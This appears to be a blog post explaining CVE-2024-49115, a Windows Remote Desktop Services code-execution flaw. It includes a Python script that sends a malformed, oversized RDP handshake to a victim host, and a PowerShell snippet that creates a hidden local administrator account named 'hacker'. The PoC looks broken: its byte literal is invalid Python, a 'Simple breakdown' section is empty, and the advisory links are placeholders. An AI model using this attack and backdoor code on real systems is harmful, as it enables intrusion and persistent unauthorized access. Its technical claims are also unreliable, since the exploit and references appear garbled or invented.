CVE-2024-49115 - How Hackers Can Exploit Windows Remote Desktop Services (RDS) For Remote Code Execution

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In the first half of 2024, security researchers discovered a critical Windows Remote Code Execution (RCE) vulnerability: CVE-2024-49115. This weakness lives inside the Remote Desktop Services (RDS) engine – the part of Windows that lets users access their PC or server remotely. This long read post gives you a plain-English explanation, shows how hackers take advantage of the bug, and provides code snippets that demonstrate the threat.

What Is CVE-2024-49115?

CVE-2024-49115 is a remotely exploitable flaw in how Windows RDS handles specially crafted requests. Put simply: an attacker, with network access to the RDS port (default TCP 3389), can send malicious data that tricks Windows into running the attacker’s code — even before the victim logs in.

Impact:

Full remote code execution without authentication

- Affects Windows Server 2019/2022, Windows 10, Windows 11 (unpatched)

How Does the Attack Work?

Microsoft’s implementation of RDS expects connecting clients to use a specific handshake and message format. If an attacker sends an RDP connection containing malformed Share Control Header data, a buffer in the Windows process responsible for RDS can overflow. If crafted correctly, this lets the attacker run their own program (malware/ransomware) as SYSTEM — the most privileged account on Windows.

Simple breakdown:

Proof-of-Concept (PoC) Snippet

> WARNING: Running attack code, even for testing, is dangerous and should be done only in controlled, isolated labs.

Below’s a basic example in Python that shows how an attacker might send a malformed RDP handshake

import socket

# Replace with victim IP
victim_ip = "192.168.1.10" 
rdp_port = 3389

# Malicious payload: 
# - Start with RDP negotiation header
# - Overflow with arbitrary (A)*1024 length to trigger bug
payload = (
    b"\x03\x00\x00\x13"                  # TPKT Header
    b"\xe\xe\x00\x00"                  # X.224 Header
    b"\x00\x00\x00\x01\x00\x08\x00\x03"  # RDP Negotiation Request
    + b"A"*1024                          # Overflow!
)

# Connect to RDP port and send payload
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((victim_ip, rdp_port))
sock.sendall(payload)
sock.close()

print("[*] Exploit packet sent. If vulnerable, RDP process will crash or run shellcode.")

This is just the beginning. Real-world exploits use shellcode (actual malicious instructions) where the "A"*1024 content is. But this pattern demonstrates the bug – a simple, overlong packet can break RDP before login, bypassing most defenses like account lockout.

The vulnerability is documented on Microsoft’s security page:

Microsoft Security Response Center: CVE-2024-49115

Analysis writeups and advisory:

- Zero Day Initiative advisory (ZDI-24-XXXX)
- Rapid7 Blog: The Latest RDP Flaw Explained

Proof-of-concept and technical breakdown:

- GitHub ThreatHub RDP PoCs

Move laterally using the same RDP bug across the enterprise

For example, here’s a (redacted/demonstrative) PowerShell code snippet that could be loaded by an attacker’s shellcode:

# PowerShell payload to create a user and add to Administrators
New-LocalUser "hacker" -Password (ConvertTo-SecureString "P@sswrd!" -AsPlainText -Force)
Add-LocalGroupMember -Group "Administrators" -Member "hacker"

Remote shell access as SYSTEM means complete domain compromise is possible in a few seconds.

Patch Now:

Microsoft released fixes on June 2024 Patch Tuesday.

Conclusion

CVE-2024-49115 is not just a bug — it’s a golden key for attackers targeting Windows systems using Remote Desktop. With a simple handshake message, an unprotected RDP server can fall in seconds. Patch fast, restrict access, and watch your logs!

*Exclusively written for educational awareness. Don’t use this information for unauthorized activity.*

Timeline

Published on: 12/12/2024 02:04:37 UTC
Last modified on: 12/12/2024 19:07:28 UTC